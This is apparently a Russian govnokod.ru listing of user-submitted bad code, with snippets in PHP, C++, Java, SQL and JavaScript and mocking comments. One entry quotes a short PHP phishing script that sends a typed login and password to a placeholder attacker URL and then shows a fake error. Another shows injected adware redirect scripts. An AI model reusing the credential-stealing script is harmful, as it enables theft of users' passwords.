1. Лучший говнокод

    В номинации:
    За время:
  2. Куча / Говнокод #16343

    +130

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    PHP Devel Studio 2.0
     
    Эта программа поможет вам взломать любой почтовик а все пароли будут приходить пароли на сниффер.
    И если вы знаете языки программирования тогда для вас нет предела в этой программе!
    Скрипт:
    $edit1 = c('Form1->edit1')->text;
    $edit2 = c('Form1->edit2')->text;
    $combobox1 = c('Form1->combobox1')->inText;
    $url = "ВВЕДИТЕ СЮДА СВОЕ ССЫЛКУ";
    file_get_contents($url . "?" . "login:" . $edit1 . "|pass:" . $edit2);
    MessageBox("Невернно введёт логин или пароль", "Ошибка ввода");

    "Вирусы" на "PHP". Сбылась мечта идиота...

    http://hacker-club27.ucoz.ru/news/php_devel_studio_2_0/2012-07-22-8

    gost, 15 Июля 2014

    Комментарии (20)
  3. PHP / Говнокод #16273

    +158

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    <!DOCTYPE html>
    <html>
    <head>
        <title>Pixel Farm</title>
    </head>
    <body>
    <script type="text/javascript">
        function sc(name, val, endh) {
            var exdate = new Date;
            endh = exdate.getHours() + endh;
            exdate.setHours(endh);
            document.cookie = name + "=" + escape(val) + (endh === null ? "" : ";expires=" + exdate.toGMTString() + ";path=/;");
        }
    </script>
    
    <script type="text/javascript">
        var am_lo = function () {
            try {
                return "localStorage" in window && window["localStorage"] !== null;
            } catch (e) {
                return false;
            }
        };
        if (document.cookie.indexOf("uid") === -1) {
            if (am_lo()) {
                var am_lo_uid = localStorage.getItem("uid");
                if (am_lo_uid === null) {
                    am_lo_uid = "5fdf30844eb1823f23ff34a742719b01";
                    localStorage.setItem("uid", am_lo_uid);
                }
            } else {
                var am_lo_uid = "5fdf30844eb1823f23ff34a742719b01";
            }
            var exdate = new Date;
            exdate.setDate(exdate.getDate() + 30);
            document.cookie = "uid=" + am_lo_uid + ";expires=" + exdate.toGMTString() + ";path=/;domain=.am15.net;";
        }
    </script><script type="text/javascript" src="//px10.net/c.php"></script><img src="http://sync2.adsniper.ru/?src=a1" width="1" height="1" /><img src="http://advm.upstats.ru/" width="1px" height="1px" alt="" /><img src="http://advm.upstats.ru/b/" width="1px" height="1px" alt="" />
    <script type="text/javascript">
        function AdvMakerMyragon(r) {
    
           /* var myr4i=document.createElement("img");
            myr4i.src="//w16.am15.net/x/log.php?action=myr4&content="+JSON.stringify(r);
            document.body.appendChild(myr4i);*/
    
            if (r[0]) {
                if (r[0].reply === "positive") {
                    var exdate = new Date;
                    exdate.setMinutes(exdate.getMinutes() + 180);
                    var k = parseInt(r[0].price_id);
                    // document.cookie = "myragon_" + k + "=1;expires=" + exdate.toGMTString() + ";path=/;domain=.am15.net;";
                    // document.cookie = "myragon_" + k + "=1;expires=" + exdate.toGMTString() + ";path=/;domain=am15.net;";
    
                    var name="myragon_" + k;
                    sc(name, 1, 1);
    
                    if (k == 4){
                        var myr4=document.createElement("script");
                        myr4.type="text/javascript";
                        myr4.src="//am15.net/x/myragon.php";
                        document.body.appendChild(myr4);
                    }
                }
            }
        }
    </script>
    <script src="http://t02.rbnt.org/rsc.php?mode=bu&pkey=ffd3337d72b61dd75b3b95f59f9c85be&scr=1&p=advmaker&callback=AdvMakerMyragon&sitename=3517" type="text/javascript"></script><img src="//ad.dumedia.ru/advmaker/pixel" width="1" height="1" alt="" />
    <img src="http://luxup.ru/cmrk/5/?clickunder_url=http%3A%2F%2Fam15.net%2Fx%2Fadlabs.php" width="1" height="1" /></body>
    </html>

    это собственно та самая хрень которая перенаправляет на всякие "полезные" подписки на 3жы модемах мегафон.
    оно у меня вылезает даже на говнокоде, но в сорцах страниц такого нет, пхп гуру, откуда оно берется и кого бить за эту хрень?

    pl7ofit, 03 Июля 2014

    Комментарии (20)
  4. C++ / Говнокод #16264

    +14

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    std::string MakeString(const char* ch) 
    { 
       stringstream ss; 
       for (int i = 0; i < strlen(ch); i++) { 
          ss<<ch[i]; 
       } 
       string result = ss.str(); 
       return result; 
    }

    Создание строки

    absolut, 01 Июля 2014

    Комментарии (20)
  5. Java / Говнокод #16085

    +72

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    public class PLock {
        private Map<Thread, Integer> readLocks = new HashMap<Thread, Integer>();
        private Thread writeLock = null;
        private int writeLockCount = 0;
        
        public synchronized void getReadLock() {
            Thread currentThread = Thread.currentThread();
            long startTimeMillis = System.currentTimeMillis();
            boolean gotStuck = false;
            while (canClaimReadLock(currentThread) == false) {
                gotStuck = true;
                try {
                    wait();
                } catch (InterruptedException ex) {
                    Log.warn("Interrupted while attempting to get read lock.", ex);
                }
            }
            report(gotStuck, startTimeMillis, "read");
            if (readLocks.containsKey(currentThread)) {
                readLocks.put(currentThread, 1 + readLocks.get(currentThread));
            } else {
                readLocks.put(currentThread, 1);
            }
        }
        
        ...
        
        public synchronized void relinquishReadLock() {
            Thread currentThread = Thread.currentThread();
            if (readLocks.containsKey(currentThread) == false) {
                throw new RuntimeException("Cannot relinquish read lock on thread " + currentThread + " because it does not hold a lock.");
            }
            int newLockCount = readLocks.get(currentThread) - 1;
            if (newLockCount == 0) {
                readLocks.remove(currentThread);
                notifyAll();  // IMPORTANT: allow other threads to wake up and check if they can get locks now.
            } else {
                readLocks.put(currentThread, newLockCount);
            }
        }
        
        public synchronized void getWriteLock() {
            //Log.warn("getWriteLock() in thread " + Thread.currentThread());
            //dumpLocks();
            Thread currentThread = Thread.currentThread();
            long startTimeMillis = System.currentTimeMillis();
            boolean gotStuck = false;
            while (canClaimWriteLock(currentThread) == false) {
                gotStuck = true;
                try {
                    wait();
                } catch (InterruptedException ex) {
                    Log.warn("Interrupted while attempting to get write lock.", ex);
                }
            }
            report(gotStuck, startTimeMillis, "write");
            writeLock = currentThread;
            writeLockCount++;
        }
        
        ...
        
        public synchronized void relinquishWriteLock() {
            //Log.warn("relinquishWriteLock() in thread " + Thread.currentThread());
            Thread currentThread = Thread.currentThread();
            if (writeLock != currentThread) {
                throw new RuntimeException("Cannot relinquish write lock on thread " + currentThread + " because it does not hold the lock.");
            }
            if (writeLockCount <= 0) {
                throw new RuntimeException("Tried to relinquish write lock on thread " + currentThread + " while write lock count is " + writeLockCount);
            }
            writeLockCount--;
            if (writeLockCount == 0) {
                writeLock = null;
                notifyAll();  // IMPORTANT: allow other threads to wake up and check if they can get locks now.
            }
        }
        
        ...
    }

    А у вас уже есть свой теплый ламповый ReentrantReadWriteLock?
    Нет? Тогда https://github.com/orph/jujitsu/blob/master/src/e/ptextarea/PLock.java идет к вам...

    kostoprav, 30 Мая 2014

    Комментарии (20)
  6. Куча / Говнокод #16058

    +131

    1. 1
    2. 2
    3. 3
    Property Documentation
    antennaConnected : int
    This property is true if there is an antenna connected. Otherwise it will be false.

    Выдержка из Qt Multimedia

    laMer007, 25 Мая 2014

    Комментарии (20)
  7. PHP / Говнокод #15937

    +167

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    function validateBoolean($bool) {
    		if ($bool == 'true') {
    			return '1';
    		} else if ($bool == 'false') {
    			return '0';
    		}
    		
    		if ($bool == '1') {
    			return "true";
    		} else if ($bool == '0'){
    			return "false";
    		}
    		
    		exit("Invalid Boolean Data");
    	}

    вот такое чудо нам передали на поддержку

    NasGull, 07 Мая 2014

    Комментарии (20)
  8. SQL / Говнокод #15698

    −123

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    ALTER TRIGGER [dbo].[ObjectTrade]
    ON [dbo].[packets] 
    AFTER INSERT
    AS 
    BEGIN
    SET NOCOUNT ON;
    
    DECLARE
    @id_key int,
    @id_th int,
    @date_end datetime,
    @date_beg datetime
    
    SET @id_key = (SELECT id_key FROM inserted)
    SET @id_th = (SELECT id_th FROM inserted WHERE id_key = @id_key)
    SET @date_end = (SELECT date_end FROM inserted WHERE id_key = @id_key)
    SET @date_beg = (SELECT date_beg FROM inserted WHERE id_key = @id_key)
    
    IF @id_th = 183 
    UPDATE packets 
    SET packets.date_end = CAST('12-05-2014' AS DATE) 
    WHERE id_key =@id_key
    
    IF (CAST(@date_end AS DATE) BETWEEN '08-03-2014' and '10-03-2014') SET @date_end = '07-03-2014'
    IF (CAST(@date_end AS DATE) BETWEEN '01-05-2014' and '04-05-2014') SET @date_end = '30-04-2014'
    IF (CAST(@date_end AS DATE) BETWEEN '09-05-2014' and '11-05-2014') SET @date_end = '08-05-2014'
    IF (CAST(@date_end AS DATE) BETWEEN '12-06-2014' and '15-06-2014') SET @date_end = '11-06-2014'
    IF (CAST(@date_end AS DATE) BETWEEN '02-11-2014' and '04-11-2014') SET @date_end = '01-11-2014'
    IF (CAST(@date_end AS DATE) BETWEEN '01-01-2015' and '08-01-2015') SET @date_end = '31-12-2014'
    IF DATEPART(WEEKDAY, @date_end) = 7 SET @date_end = DATEADD(DAY, -1, @date_end)
    UPDATE packets SET packets.date_end = @date_end WHERE id_key =@id_key
    
    END

    kerberos, 07 Апреля 2014

    Комментарии (20)
  9. C++ / Говнокод #15644

    +22

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    /* macro is a way faster than inline */
    #define Compare(offsetx, offsety)                                              \
    do {                                                                           \
        int add;                                                                   \
        Point other = Get(g, x + offsetx, y + offsety);                            \
        if(offsety == 0) {                                                         \
            add = 2 * other.dx + 1;                                                \
        }                                                                          \
        else if(offsetx == 0) {                                                    \
            add = 2 * other.dy + 1;                                                \
        }                                                                          \
        else {                                                                     \
            add = 2 * (other.dy + other.dx + 1);                                   \
        }                                                                          \
        other.f += add;                                                            \
        if (other.f < p.f)                                                         \
        {                                                                          \
            p.f = other.f;                                                         \
            if(offsety == 0) {                                                     \
                p.dx = other.dx + 1;                                               \
                p.dy = other.dy;                                                   \
            }                                                                      \
            else if(offsetx == 0) {                                                \
                p.dy = other.dy + 1;                                               \
                p.dx = other.dx;                                                   \
            }                                                                      \
            else {                                                                 \
                p.dy = other.dy + 1;                                               \
                p.dx = other.dx + 1;                                               \
            }                                                                      \
        }                                                                          \
    } while(0)

    Нужно делать макросы ЕЩЕ больше!
    http://habrahabr.ru/post/215905/

    gost, 02 Апреля 2014

    Комментарии (20)
  10. C++ / Говнокод #15587

    +77

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    // Решил узнать, что лучше C или C++.
    
       int C;
    
       if(C == C++)
          cout << "То же самое.";
       else 
          cout << "Разные.";

    C++ то же самое что и С.
    Как было сказано в одной книге компьютер очень глупый(Хоть он тут и не причём, компилятор подставил).

    Ignat776, 26 Марта 2014

    Комментарии (20)
  11. JavaScript / Говнокод #15559

    +155

    1. 1
    2. 2
    if(rradiocheck.test(elem.type)&&!jQuery.support.checkOn){return elem.getAttribute("value")===null?"on":elem.value;}
    return(elem.value||"").replace(rreturn,"");}

    http://govnokod.ru/media/ddd20ce56acf1d9ebadd126322495087.js
    Говно так и льется.

    gost, 23 Марта 2014

    Комментарии (20)